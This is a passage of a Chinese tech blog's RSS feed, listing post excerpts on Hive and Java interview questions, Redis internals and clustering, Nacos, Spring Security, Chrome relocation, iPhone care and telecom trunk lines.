write区别？&#xA;7.hive的判断函数有哪些&#xA;8.简单描述一下HIVE的功能？用hive创建表几种方式？hive表有几种？&#xA;9.线上业务每天产生的业务日志（压缩后&amp;gt;=3G），每天需要加载到hive的log表中，将每天产生的业务日志在压缩之后load到hive的log表时，最好使用的压缩算法是哪个,并说明其原因&#xA;10.若在hive中建立分区仍不能优化查询效率，建表时如何优化&#xA;11.union all和union的区别&#xA;12.如何解决hive数据倾斜的问题&#xA;13.hive性能优化常用的方法&#xA;14.简述delete，drop，truncate的区别&#xA;15.四个by的区别&#xA;16.Hive 里边字段的分隔符用的什么？为什么用\t？有遇到过字段里 边有\t 的情况吗，怎么处理的？为什么不用 Hive 默认的分隔符，默认的分隔符是什么？</description>
    </item>
    <item>
      <title>Redis 6.0 源码阅读笔记(9)-数据淘汰原理</title>
      <link>https://bchobby.github.io/posts/92c3eeb766b8e04ed806d4ccaa84df09/</link>
      <pubDate>Sat, 24 Oct 2020 15:15:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92c3eeb766b8e04ed806d4ccaa84df09/</guid>
      <description>文章目录 1. 过期时间的存储源码分析 2. 数据的淘汰2.1 主动删除2.1.1 命令执行前触发2.1.2 命令执行时触发 2.2 定期删除 1. 过期时间的存储 在 redisDb 数据结构 一节中已经提到过，redis 数据库中有一个专门的 expires 字典用于存储显式设置了过期时间的数据(如 SETEX 命令设置的数据)。本节以 SETEX 命令为例，依据源码分析过期时间的设置过程&#xA;typedef struct redisDb { dict *dict; /* The keyspace for this DB */ dict *expires; /* Timeout of keys with a timeout set */ dict *blocking_keys; /* Keys with clients waiting for data (BLPOP)*/ dict *ready_keys; /* Blocked keys that received a PUSH */ dict *watched_keys; /* WATCHED keys for MULTI/EXEC CAS */ int id; /* Database ID */ long long avg_ttl; /* Average TTL, just for stats */ unsigned long expires_cursor; /* Cursor of the active expire cycle.</description>
    </item>
    <item>
      <title>苹果手机怎么清理听筒灰尘_iPhone手机听筒声音小、有杂音？成都苹果维修点教你轻松解决...</title>
      <link>https://bchobby.github.io/posts/2e2133a682c2c8c9b2b03c3599b841f6/</link>
      <pubDate>Sat, 24 Oct 2020 14:50:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e2133a682c2c8c9b2b03c3599b841f6/</guid>
      <description>大家在使用手机的过程中会不会有这样的体验，用了一段时间后，听筒的声音越来越小了，时不时还有杂音，听不清楚，那这很可能是你的听筒孔被堵住了哦!手机听筒防尘网由于裸露在外面，防尘网上小孔难免会进灰尘、异物、油污，没有及时清理掉的话会导致堵孔。今天成都苹果维修点就来教你几个小窍门。&#xA;出现堵孔的情况时，排查清理的步骤&#xA;1.请确认音量调到足够大。&#xA;2.请检查听筒防尘网是否有无灰尘、异物、油污堵住。&#xA;清理iPhone手机听筒的小窍门&#xA;1.可以使用透明胶或者双面胶，将这些胶带剪成细条条，在手机听筒或者一些夹缝中慢慢粘一遍就可以了。如果灰尘比较难清理，可以使用牙签小心的将胶带戳进听筒，尽可能接触听筒部分进行清理。&#xA;2.也可以使用软毛刷进行清理，在使用软毛刷的过程中要格外注意。首先毛刷不能太硬了，其次在使用的过程中不能太用力。&#xA;3.需要注意的是，不论使用什么方法都要小心一些，不要使用针尖，牙签等尖锐的物体去直接清理，不仅会有可能导致灰尘越清理越靠里，也有可能将手机的缝隙撑大。&#xA;4.虽然清理的方法比较多，但有些会直接导致手机的内部零件损害。所以还是建议如果听筒的灰尘不易去除，可以送去附近的苹果官方售后维修中心，让专业的工程师为你解决这个小难题。&#xA;以上就是iPhone手机听筒声音小、有杂音?成都苹果维修点教你轻松解决的全部内容，小伙伴们学会了吗?更多维修资讯，手机使用技巧，故障处理方法欢迎关注小编，方便后期维护!</description>
    </item>
    <item>
      <title>如何优雅的统计代码耗时</title>
      <link>https://bchobby.github.io/posts/23e78ba16470e1fe4a21039397054a7a/</link>
      <pubDate>Sat, 24 Oct 2020 12:57:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23e78ba16470e1fe4a21039397054a7a/</guid>
      <description>一、前言 代码耗时统计在日常开发中算是一个十分常见的需求，特别是在需要找出代码性能瓶颈时。&#xA;可能也是受限于 Java 的语言特性，总觉得代码写起来不够优雅，大量的耗时统计代码，干扰了业务逻辑。特别是开发功能的时候，有个感受就是刚刚开发完代码很清爽优雅，结果加了一大堆辅助代码后，整个代码就变得臃肿了，自己看着都挺难受。因此总想着能不能把这块写的更优雅一点，今天本文就尝试探讨下“代码耗时统计”这一块。&#xA;在开始正文前，先说下前提，“代码耗时统计”的并不是某个方法的耗时，而是任意代码段之间的耗时。这个代码段，可能是一个方法中的几行代码，也有可能是从这个方法的某一行到另一个被调用方法的某一行，因此通过 AOP 方式是不能实现这个需求的。&#xA;二、常规方法 2.1 时间差统计 这种方式是最简单的方法，记录下开始时间，再记录下结束时间，计算时间差即可。&#xA;public class TimeDiffTest { public static void main(String[] args) throws InterruptedException { final long startMs = TimeUtils.nowMs(); TimeUnit.SECONDS.sleep(5); // 模拟业务代码 System.out.println(&#34;timeCost: &#34; + TimeUtils.diffMs(startMs)); } } /* output: timeCost: 5005 */ public class TimeUtils { /** * @return 当前毫秒数 */ public static long nowMs() { return System.currentTimeMillis(); } /** * 当前毫秒与起始毫秒差 * @param startMillis 开始纳秒数 * @return 时间差 */ public static long diffMs(long startMillis) { return diffMs(startMillis, nowMs()); } } 这种方式的优点是实现简单，利于理解；缺点就是对代码的侵入性较大，看着很傻瓜，不优雅。</description>
    </item>
    <item>
      <title>redis集群外网访问连接不上--问题总结</title>
      <link>https://bchobby.github.io/posts/bab1a04ffc9949bd39f24d1cbddf5fd0/</link>
      <pubDate>Fri, 23 Oct 2020 17:42:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bab1a04ffc9949bd39f24d1cbddf5fd0/</guid>
      <description>RedisCluster 总共八个节点，主从各四个，端口为7001–7008&#xA;集群创建命令如下&#xA;./redis-cli --cluster create 47.94.80.41:7001 47.94.80.41:7002 47.94.80.41:7003 47.94.80.41:7004 47.94.80.41:7005 47.94.80.41:7006 47.94.80.41:7007 47.94.80.41:7008 --cluster-replicas 1 添加成功后会在每个节点下生成一个节点配置文件nodes.conf，7001节点如下&#xA;a32685e732726e19726750e73ac701f2c1a5c633 172.17.88.176:7001@17001 myself,master - 0 1603443306000 1 connected 333-5460 1600191ac47472b4d154025ab3ee388c8730c9e1 47.94.80.41:7008@17008 slave c722d4c0a7a10178322dfb52b0c56dbe2e3ae671 0 1603443310208 7 connected e0850c61610ee4986e05ff17eac65bf8e77e5008 47.94.80.41:7004@17004 slave a32685e732726e19726750e73ac701f2c1a5c633 0 1603443310003 4 connected aed092db54171729cc0c739e913339d4b0af3e2c 47.94.80.41:7003@17003 master - 0 1603443310000 3 connected 11256-16383 8a67079c69c720bc3b6c2e875cc38d1299394a77 47.94.80.41:7002@17002 master - 0 1603443310000 2 connected 5795-10922 dcfcb437f2d306588c208bd405c6819866736050 47.94.80.41:7006@17006 slave aed092db54171729cc0c739e913339d4b0af3e2c 0 1603443310000 6 connected c722d4c0a7a10178322dfb52b0c56dbe2e3ae671 47.</description>
    </item>
    <item>
      <title>JavaWeb面试题2020（15题）</title>
      <link>https://bchobby.github.io/posts/d452038efbf89756b69259bf90ad45db/</link>
      <pubDate>Fri, 23 Oct 2020 17:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d452038efbf89756b69259bf90ad45db/</guid>
      <description>前言： 作者：CodeCow · 阿牛，微信搜索公众号 “CodeCow ”，我们一起干“java”&#xA;正文： 1、网络编程首先要解决什么问题？ （1）如何准确的定位网络上的一台或者多台主机&#xA;（2）找到主机后如何可靠的进行有效的数据传输&#xA;2、分别说说OSI/RM模型和TCP/IP模型分别指的什么？ OSI/RM模型指：&#xA;物理层、数据链路层、网络层、传输层、会话层、表示层、应用层&#xA;TCP/IP模型指：&#xA;网络接口层、网络层、传输层、应用层&#xA;3、说说OSI/RM各层使用的协议是什么？ （1）应用层：HTTP-超文本传输协议&#xA;（2）传输层：TCP、UDP协议&#xA;TCP：面向连接的可靠的协议，比UDP多了一个建立连接的时间 UDP：无连接不可靠协议，有大小限制，64KB以内，传输效率高 4、Http是有状态还是无状态的协议 ? Http是一个基于请求/响应模式的，无状态的协议&#xA;5、Http请求由什么组成 ? 请求头，消息报头，请求正文&#xA;6、Http请求方法有哪几种 ?有什么区别？ 2种；&#xA;GET、POST&#xA;区别：&#xA;GET请求的数据会附在URL之后（就是把数据放置在HTTP协议头中），以?分割URL和传输数据，参数之间以&amp;amp;相连；POST 把提交的数据则放置在是HTTP包的包体中&#xA;example：login.action?name=zhagnsan&amp;amp;password=123456POST的安全性要比GET的安全性高。Get 是向服务器发索取数据的一种请求，而Post是向服务器提交数据的一种请求，在FORM（表单）中，Method默认为&#34;GET&#34;，实质上GET和POST只是发送机制不同，并不是一个取一个发。 7、Http响应由什么组成 ? 状态行，消息报头，响应正文&#xA;8、Http中重定向和请求转发的区别 ? （1）重定向是客户端行为，请求转发是服务端行为&#xA;（2）重定向：两次请求两次响应，浏览器地址发生变化，可以访问自己web之外的资源，传输的数据会丢失&#xA;（3）请求转发：一次请求一次响应，浏览器地址不会发生变化，访问的是自己本身的web资源，传输数据不会丢失&#xA;总结：&#xA;重定向的特点:redirect&#xA;1. 地址栏发生变化&#xA;2. 重定向可以访问其他站点(服务器)的资源&#xA;3. 重定向是两次请求。不能使用request对象来共享数据转发的特点：forward&#xA;1. 转发地址栏路径不变&#xA;2. 转发只能访问当前服务器下的资源&#xA;3. 转发是一次请求，可以使用request对象来共享数据 9、Cookie 和 Session特点是什么？ 区别 ? Cookie 特点：&#xA;cookie存储数据在客户端浏览器浏览器对于单个cookie 的大小有限制(4kb) 以及 对同一个域名下的总cookie数量也有限制(20个) Session 特点：</description>
    </item>
    <item>
      <title>Java基础面试题2020（35题）</title>
      <link>https://bchobby.github.io/posts/38cf020f89f5946f0654138c21a24757/</link>
      <pubDate>Fri, 23 Oct 2020 17:01:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38cf020f89f5946f0654138c21a24757/</guid>
      <description>前言： 作者：CodeCow · 阿牛，微信搜索公众号 “CodeCow ”，我们一起干“java”&#xA;正文： 1、Java 的基础数据类型有几种 ？都是啥 ？ 8 种&#xA;byte、short、int、long、float、double、char、boolean&#xA;2、String是最基本的数据类型吗 ? 是否可以继承String类 ? 不是 是引用数据类型&#xA;java.lang.String类是final类型的，因此不可以继承这个类、不能修改这个类&#xA;3、①：short s1 = 1; s1 = s1 + 1;有错吗 ? ②：short s2 = 1; s2 += 1;有错吗 ? ①：有错（s1+1运算结果是int型，需要强制转换类型）、 ②：正确&#xA;分析①：&#xA;s1 = s1 + 1 做运算的时候，1 是 int 类型，s1 会被提升为int类型，&#xA;s1+1 后的结果是 int类型，将结果在赋值会short类型时发生错误&#xA;short 内存 2 个字节，int 类型 4 个字节&#xA;必须将int强制转成short才能完成赋值&#xA;分析②：&#xA;**+=**是一个运算符，只运算一次，并带有强制转换的特点&#xA;也就是说 s2 += 1 就是 s2 = (short)(s2 + 1) ，因此程序没有问题编译通过，运行结果是2.</description>
    </item>
    <item>
      <title>Java2020面试题(2020青铜篇)</title>
      <link>https://bchobby.github.io/posts/f8148ed199ec31ae8ecbcee7659f9ee0/</link>
      <pubDate>Fri, 23 Oct 2020 16:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8148ed199ec31ae8ecbcee7659f9ee0/</guid>
      <description>一文助你打天下，您可信？赠予正在Java面试的你(2020青铜篇)&#xA;开门见山地说吧，此文是阿牛曾经自学java编程后，初入江湖，总结的面试题；&#xA;遵从：不深入，且简单、实用、易懂；&#xA;目的：只为—— 一纸 offer&#xA;答案：面试题答案在最后！！！&#xA;此文目录 Java基础面试题2020（35题）JavaWeb面试题2020（15题）Spring面试题2020（21题）SpringMVC面试题2020（18题）Mybatis面试题2020（20题）SpringBoot面试题2020（19题）SpringCloud面试题2020（18题） Java基础面试题2020（35题） 1、Java 的基础数据类型有几种 ？都是啥 ？ 2、String是最基本的数据类型吗 ? 是否可以继承String类 ? 3、①：short s1 = 1; s1 = s1 + 1;有错吗 ? ②：short s2 = 1; s2 += 1;有错吗 ? 4、String s = new String(“CodeCow”); 创建了几个String Object? 5、int 和 Integer 有什么区别 ? 6、String，StringBuffer 与 StringBuilder 的区别 ? 7、被 final 修饰的 类、方法、变量 有什么特点? 8、Overload 和 Override 的区别。Overloaded的方法是否可以改变返回值的类型? 9、final, finally, finalize的区别 ? 10、Collection 和 Collections的区别 ?</description>
    </item>
    <item>
      <title>python类和对象的关系</title>
      <link>https://bchobby.github.io/posts/a48a8ec09f5fd9eda6b165e2bede0cc3/</link>
      <pubDate>Fri, 23 Oct 2020 11:56:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a48a8ec09f5fd9eda6b165e2bede0cc3/</guid>
      <description>类的概念 类（class）抽象的概念，比如说人类、鸟类、水果、是一个总的称呼，没有具体到某个物体；&#xA;对象（object，指具体实例，instance）；&#xA;类定义的语法：&#xA;class 类名： 执行语句 类变量 类方法 类最重要的两部分就是类变量和类方法，类成员之间的可以相互调用。&#xA;程序可以在类中给新变量赋值就是增加类变量，可以通过del语句删除已有类的变量。&#xA;在__init__构造函数（构造函数后面会说到）里面的是实例变量，程序可以任何位置（类里面或者类外面）增加实例变量，删除则用del语句。&#xA;在实例方法中有一个特别的方法 ：__init__ ，这个方法被称为构造方法 。 构造方法用于构造该类的对象， Python 通过调用构造方法返回该类的对象 。 python提供一个功能就是：若开发者没有定义构造函数，python会自动提供一个只包含self参数默认的构造方法。&#xA;class Bird: &#39;这是学习python的第一个类&#39; eyes = &#34;two&#34; def __init__(self, color,feet): &#39;为python对象增 &#39; self.color = color self.feet = feet def call(self,cd): print(&#34;This bird:&#34;,cd) 上面的 Bird类定义了 一个构造方法，该构造方法只是方法名比较特殊：__init__ ，该方法的第一个参数同样是 self，被绑定到构造方法初始化的对象 。和函数定义文档类似，类文档用字符串即可。该文档同样被放在类声明之后、类体之前。&#xA;下面是调用类的构造方法创建对象。第二行是调用实例方法。&#xA;xique = Bird(&#34;green&#34;,&#34;two&#34;) xique.call(&#34;gezhi&#34;) #打印实例变量 print(xique.color,xique.feet) #访问实例变量，对实例变量赋值 xique.color = &#34;brown&#34; #增加实例变量 xique.skin = &#39;yellow&#39; #打印编辑后的实例变量 print(xique.color,xique.feet,xique.skin) #调用实例方法call()，第一个参数仍是self,self代表实例本身， #是自动绑定的，不需要再次输入，因此调用实例方法，只需再输入一个参数即可 xique.call(&#34;zhizhizhizhi&#34;) 同一个类的多个对象具有相同的特征，类用定义多个对象的相同特征。类不是一个具体的实体，对象才是一个具体的实体</description>
    </item>
    <item>
      <title>电脑控制手机屏幕软件_手机屏幕同步电脑，总结4个软件</title>
      <link>https://bchobby.github.io/posts/3b9176d879655ea61607dcf9f164d4af/</link>
      <pubDate>Fri, 23 Oct 2020 11:18:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b9176d879655ea61607dcf9f164d4af/</guid>
      <description> 手机投屏软件总结！&#xA;总结的几个都是收费的，基础版本有的免费&#xA;1.ApowerMirror - 实时同屏演示/控制手机屏幕画面&#xA;2.Total Control 手机控-电脑控制手机-手机群控系统-官网&#xA;3.乐播投屏官网-多屏互动真投屏神器投屏软件下载&#xA;4.小萝贝控机大师_用电脑控制手机_同时操作多部手机_原小萝贝虚拟手机&#xA;多余的不想说，直接看视频解说！&#xA;https://www.zhihu.com/video/1087444729553272832 </description>
    </item>
    <item>
      <title>Spring Cloud Config---Nacos配置中心</title>
      <link>https://bchobby.github.io/posts/56a46103b6a1bbe8c67397dd914a1206/</link>
      <pubDate>Fri, 23 Oct 2020 11:11:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56a46103b6a1bbe8c67397dd914a1206/</guid>
      <description>一、配置中心介绍 1、Spring Cloud Config Spring Cloud Config 为分布式系统的外部配置提供了服务端和客户端的支持方案。在配置的服务端您可以在所有环境中为应用程序管理外部属性的中心位置。客户端和服务端概念上的Spring Environment 和 PropertySource 抽象保持同步, 它们非常适合Spring应用程序，但是可以与任何语言中运行的应用程序一起使用。当应用程序在部署管道中从一个开发到测试直至进入生产时，您可以管理这些环境之间的配置，并确保应用程序在迁移时具有它们需要运行的所有内容。服务器存储后端的默认实现使用git，因此它很容易支持标记版本的配置环境，并且能够被管理内容的各种工具访问。很容易添加替代的实现，并用Spring配置将它们插入。&#xA;Spring Cloud Config 包含了Client和Server两个部分，server提供配置文件的存储、以接口的形式将配置文件的内容提供出去，client通过接口获取数据、并依据此数据初始化自己的应用。Spring cloud使用git或svn存放配置文件，默认情况下使用git。&#xA;2、Nacos替换Config Nacos 可以与 Spring, Spring Boot, Spring Cloud 集成，并能代替 Spring Cloud Eureka, Spring Cloud Config。通过 Nacos Server 和 spring-cloud-starter-alibaba-nacos-config 实现配置的动态变更。&#xA;（1）应用场景&#xA;在系统开发过程中，开发者通常会将一些需要变更的参数、变量等从代码中分离出来独立管理，以独立的配置文件的形式存在。目的是让静态的系统工件或者交付物（如 WAR，JAR 包等）更好地和实际的物理运行环境进行适配。配置管理一般包含在系统部署的过程中，由系统管理员或者运维人员完成。配置变更是调整系统运行时的行为的有效手段。&#xA;如果微服务架构中没有使用统一配置中心时，所存在的问题：&#xA;配置文件分散在各个项目里，不方便维护配置内容安全与权限更新配置后，项目需要重启 nacos配置中心：系统配置的集中管理（编辑、存储、分发）、动态更新不重启、回滚配置（变更管理、历史版本管理、变更审计）等所有与配置相关的活动。&#xA;二、读取Nacos配置中心的配置文件 1、在Nacos创建统一配置文件 （1）启动Nacos服务 （2）点进入Nacos管理页面，默认用户名和密码nacos Nacos&#xA;点击 配置列表，点击右边 ＋ 号，进行配置文件创建&#xA;（3）输入配置信息 a）Data ID 的完整规则格式如下&#xA;p r e f i x − {prefix}- prefix−{spring.profiles.active}.${file-extension}&#xA;prefix 服务名称：默认为所属工程配置spring.application.name 的值（即：nacos-provider），也可以通过配置项 spring.</description>
    </item>
    <item>
      <title>win10应用商店打不开_首发！打不开苹果应用商店的优质解决办法</title>
      <link>https://bchobby.github.io/posts/d46533961d6c8294271dc5af6a5a508f/</link>
      <pubDate>Fri, 23 Oct 2020 04:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d46533961d6c8294271dc5af6a5a508f/</guid>
      <description>App Store&#xA;前几期教长给同学们讲到修改 DNS 并不能解决 App Store 无法下载应用的问题，但也并未给出更好的解决办法，但教长是那种吊胃口的人吗，显然不是，琢磨了近两天，终于看到点苗头。&#xA;* 修改 DNS 为微软的 4.2.2.2 后，虽然可以勉强登录 Apple ID 和 载入商店页面，但下载应用实在够呛，不是可行之法，毕竟各位进 App Store 都是为了下载应用，而不是看首页内容。&#xA;苗 头 若遇到 App Store 无法加载内容或 Apple ID 登录不了的情况，无需在 WiFi 中修改 DNS，具体方法见以下步骤：&#xA;❶ 首先关闭 WiFi，将网络切换到蜂窝移动网，然后重启 App Store，再次进入后看是否能够正常使用。&#xA;* 如果你是 iOS 9 等老系统，可以点击商店下方的「搜索」等任意按钮 10 次即可强制刷新，比重启应用更好使。&#xA;❷ 如果上一步操作完成后，依然无法正常使用，我们可以打开「设置」➫「Safari 浏览器」，然后找到下方的清除历史记录，点击清除后，再次重启商店后进入查看。&#xA;❸ 上一步基本可以解决 95%，如果还不行，可以在设置中退出 Apple ID 后重登，这样成功率能达到 99%。&#xA;缘 由 是的，这也是教长才发现的，不仅企业证书，原来 App Store 商店也与 Safari 浏览器也有暧昧关系，看来 Safari 表面上是浏览器，背地里却多得是不为人知的秘密㊙️。&#xA;注 意 ◎ 请将 WiFi 的 DNS 修改为路由器自动获取的，如何修改？你可能需要查看下方这篇文章：</description>
    </item>
    <item>
      <title>什么是中继线路，云中继有什么用呢？</title>
      <link>https://bchobby.github.io/posts/613e2d2d2f6563f453e94203ecfbbf59/</link>
      <pubDate>Thu, 22 Oct 2020 22:50:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/613e2d2d2f6563f453e94203ecfbbf59/</guid>
      <description>产品介绍&#xA;中国电信“云中继”业务是面向政企客户推出的新型中继产品。有电话机器人，VOS线路问题或要演示站AI技术支持，外呼中心搭建找博主。VX_ID：3307623172.通过集团能力开放平台对传统话音专线进行云化，对全国范围内的中继进行一点集约管理和呼叫接续。&#xA;使用场景&#xA;全国中继一点汇接&#xA;呼叫中心集中的政企客户在全国范围内开展服务、营销等合规业务时，从集中呼叫中心发出的外呼主叫为呼叫中心所在地中继号码。为提升被呼叫用户的感知，希望主叫显示用户所在地的固定号码。签约云中继业务后，可实现企业外呼平台中继一点对接集团能力开放平台，通过集团能力开放平台连接全国中继。&#xA;场景需求：客户呼叫中心所在本地网和落地本地网均需开通云中继业务，呼叫中心云中继需实装，落地本地网中继不需要实装。客户需在呼叫中心所在本地网受理“云中继（主叫侧，已开通实装中继）”，在落地本地网受理“云中继（落地侧，新开通非实装中继）”，业务单式详见附件1。&#xA;中继外呼集中管控&#xA;（1）为落实国家打击通信诈骗重点工作，政府部门希望能够一点管控实体中继号码的外呼控制，实体中继签约云中继业务后，所有的外呼话务均路由至集团能力开放平台，实现中继号码的集中一点管控。以此实现外呼时间、呼叫频次、黑白名单等集中控制功能。便于客户满足国家监管部门对中继外呼类业务的集中管控要求，规范语音市场。&#xA;（2）大型跨域企业客户往往具有众多全国分支机构，需要集团一点对全国的中继呼叫进行控制，签约云中继业务后可以将分散在全国各地中继的呼叫路由至集团能力开放平台进行一点管控。&#xA;场景需求：客户呼叫中心所在本地网需开通云中继业务，呼叫中心云中继需实装。客户需在呼叫中心所在本地网受理“云中继（主叫侧，已开通实装中继）”，并选择所需控制功能，业务单式详见附件1。&#xA;业务功能&#xA;全国中继一点汇接&#xA;企业呼叫中心外呼所在地必须实装中继，被叫落地侧需新开通非实装中继。&#xA;通过集团能力开放平台，将企业外呼侧的已开通实装中继与全国各地的新开通非实装中继进行云化并连接。政企客户通过实装中继外呼全国非实装中继，显示被叫落地侧中继码号，回拨该码号可连接至外呼时的实装中继。&#xA;中继外呼集中管控&#xA;针对已开通的实装中继。当企业使用该中继外呼时，将话务路由至集团能力开放平台，实现中继的云化管理。&#xA;（1）外呼频次控制&#xA;实现同一号码（即云（虚）中继即）外呼时的频次限制。&#xA;实现同一企业名下所有中继号码对同一被叫用户外呼的频次限制。&#xA;（2）外呼流量控制&#xA;按照中继受理时中继最大并发数控制中继号码的外呼并发量。&#xA;按照客户指定的允许/禁止呼叫时段，控制中继号码相应的可呼叫时段。&#xA;（3）外呼黑名单控制&#xA;根据用户要求，限制特定号码拨打该用户与解除限制。&#xA;根据政府、企业要求，限制特定号码外呼与解除限制。&#xA;呼叫接续、呼叫控制配置&#xA;针对政企客户对于云中继呼叫接续号码关系绑定、呼叫控制策略等细节需求，平台将提供统一的门户界面，供客户选择设置。&#xA;可以支持的中继线路类型 传统PRI中继（也叫PRA,ISDN,30B+D）、sip中继均支持云中继业务。每个省中继业务不同，具体各省实装中继情况可咨询各省中继业务负责人；如若开通云中继业务需要有至少一根实装中继提供给平台对应中继号码。&#xA;说明：&#xA;1.云中继不支持外呼国际号码；&#xA;2.实装中继与云（虚）中继分别计费；</description>
    </item>
    <item>
      <title>数字中继台是什么，呼叫中心有哪些中继线路？如何寻找线路商？</title>
      <link>https://bchobby.github.io/posts/6442465db36a2590ab12eebaa4ca216d/</link>
      <pubDate>Thu, 22 Oct 2020 22:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6442465db36a2590ab12eebaa4ca216d/</guid>
      <description>数字中继台就是语音传输线路，有电话机器人，VOS线路问题或要演示站AI技术支持，外呼中心搭建找博主。VX_ID：3307623172是利用数字来传输信号，提供永久或半永久的通信通道，数字中继作为固定的一种连接，能够保持传输速度不变，同时接通多个号码且不占线，比如大家熟悉的呼叫中心，呼叫一天24小时基本都会有电话呼入，因此需要由良好的中继系统，呼叫中心的中继线路由模拟中继线、数字中继线，及IMS线路和网络电话线路共同组成，下面详细介绍。&#xA;一、数字中继台是什么&#xA;1、数字中继是利用数字信道传输数据信号的数据传输网。它的主要作用是向用户提供永久性，和半永久性连接的数字数据传输信道。既可用于计算机之间的通信，也可用于传送数字化传真，数字话音，数字图像信号或其它数字化信号。&#xA;2、永久性连接的数字数据传输信道是指用户间建立固定连接，传输速率不变的独占带宽电路。网络经营者向广大用户提供了灵活方便的数字电路出租业务，供各行业构成自己的专用网。数字中继又分为PRI（30B+D、2B+D）、E1、T1、ISDN。&#xA;3、数字中继线在国内一般指30B+D，在作为语音传输线路的情况下，是指电信运营商提供的：只有一个号码30路通道的一种电信语音通讯业务（当30个客户在同一时刻打这个号码时，能在同时接通，不会占线）。&#xA;二、呼叫中心使用的中继线路有哪些&#xA;1、模拟中继线（模拟电话线）：即家庭常用的固定电话线路，一条线，对应一个号码。一般坐席比较少的呼叫中心可以采用模拟中继线，假如你公司的呼叫中心有10个人要用电话，那就需要申请10根线。&#xA;2、数字中继线（E1线）：也叫E1线、ISDN、30B+D，一根E1线路，能同时支持30路通话，相当于普通的30路模拟线路。相当于把30根普通电话线，整成一根线。这种线路在呼叫中心中用得最广，因为一根E1线可以同时支持30路通话。&#xA;3、IMS线路：IMS线路是运营商新推的一种，基于 SIP协议注册核心网的线路。SIP协议是互联网协议，不是电信专家制定的。也不是为运营商制定的。它基于SIP，与接入无关，符合网络向多种终端多种接入统一控制核心网多种应用的网络体系结构演变的发展方向，使得多种业务能同时进行交互，以形成一个更加灵活的通信平台。&#xA;4、VOIP线路（网络电话线路）：简而言之就是将模拟信号数字化，以数据封包的形式在IP网络上做实时传递。随着这两年国家对电信诈骗的严厉打击，对IP线路的管控也是越来越严了。所以VOIP线路申请也是越来越难了。</description>
    </item>
    <item>
      <title>谷歌(Chrome)浏览器安装和更改安装位置的方法</title>
      <link>https://bchobby.github.io/posts/f43ff8965d99c3b30607b44efb43cae0/</link>
      <pubDate>Thu, 22 Oct 2020 22:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f43ff8965d99c3b30607b44efb43cae0/</guid>
      <description>Chrome更改安装位置先正常安装，之后按更改操作步骤就可以啦&#xA;chrome浏览器安装 去网上下载谷歌浏览器的安装包，然后进行安装，等待安装结束。&#xA;https://www.google.cn/chrome/&#xA;这个官网安装的是繁体字哈，你要在设置里点击高级中的语言，之后添加语音中的中文（简体）[我的是已经添加过了]，最后更改使用中文简体就可以啦。&#xA;Chrome浏览器更改安装位置 正常安装之后。。。&#xA;一、找到安装路径 在桌面的谷歌浏览器快捷方式上右键打开文件所在位置，如图所示。&#xA;二、移动安装文件夹 找到Google文件夹，将其移动到要更改的位置（这里放到D盘根目录）。&#xA;但我们发现浏览器快捷方式现在是打不开的（windows10版本家庭版是可以哒不需要第三步了，因为windows10版本家庭版无法使用mklink命令，本人直接移动Google文件夹，就可以啦）&#xA;三、创建符号链接 以管理员身份打开命令提示符，输入mklink &#34;C:\Program Files (x86)\Google&#34; &#34;D:\Google&#34;（前面的引号里是默认安装位置，后面是移动之后的位置，注意命令里面的空格）。&#xA;注：关于以管理员身份打开 cmd ，应该是搜索 cmd ，右键，以管理员身份运行才是正确的管理员身份打开的方式。&#xA;备注：&#xA;mklink是windows系统下创建符号链接和硬链接的命令工具，它是一个很好的解决文件系统问题的工具。使用它需要管理员权限。win10管理员无法使用mklink的问题</description>
    </item>
    <item>
      <title>Spring Security权限框架</title>
      <link>https://bchobby.github.io/posts/dff5ccff5ebceb658ad9cf1b982aa179/</link>
      <pubDate>Thu, 22 Oct 2020 19:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dff5ccff5ebceb658ad9cf1b982aa179/</guid>
      <description>一、Spring Security介绍 1、框架介绍 Spring 是一个非常流行和成功的 Java 应用开发框架。Spring Security 基于 Spring 框架，提供了一套 Web 应用安全性的完整解决方案。一般来说，Web 应用的安全性包括**用户认证（Authentication）和用户授权（Authorization）**两个部分。&#xA;（1）用户认证指的是：验证某个用户是否为系统中的合法主体，也就是说用户能否访问该系统。用户认证一般要求用户提供用户名和密码。系统通过校验用户名和密码来完成认证过程。&#xA;（进入用户登录时候，输入用户名和密码，查询数据库，输入用户名和密码是否正确，如果正确的话，认证成功了）&#xA;（2）用户授权指的是验证某个用户是否有权限执行某个操作。在一个系统中，不同用户所具有的权限是不同的。比如对一个文件来说，有的用户只能进行读取，而有的用户可以进行修改。一般来说，系统会为不同的用户分配不同的角色，而每个角色则对应一系列的权限。&#xA;（登录了系统，登录用户可能是不同的角色，比如现在登录的用户是管理员，管理员操作所有功能，比如登录用户普通用户，操作功能肯定比管理员少很多）&#xA;Spring Security本质上就是过滤器Filter，对请求进行过滤&#xA;（1）如果是基于Session，那么Spring-security会对cookie里的sessionid进行解析，找到服务器存储的sesion信息，然后判断当前用户是否符合请求的要求。&#xA;（2）如果是token，则是解析出token，然后将当前请求加入到Spring-security管理的权限信息中去。&#xA;2、认证与授权实现思路 如果系统的模块众多，每个模块都需要就行授权与认证，所以我们选择基于token的形式进行授权与认证。&#xA;1、用户根据用户名密码认证成功，然后获取当前用户角色的一系列权限值&#xA;2、并以用户名为key，权限列表为value的形式存入redis缓存中&#xA;3、根据用户名相关信息生成token返回&#xA;4、浏览器将token记录到cookie中，每次调用api接口都默认将token携带到header请求头中&#xA;5、Spring-security解析header头获取token信息，解析token获取当前用户名&#xA;6、根据用户名就可以从redis中获取权限列表，这样Spring-security就能够判断当前请求是否有权限访问&#xA;二、 整合Spring Security 1、在common下创建spring_security模块 2、在spring_security引入相关依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; 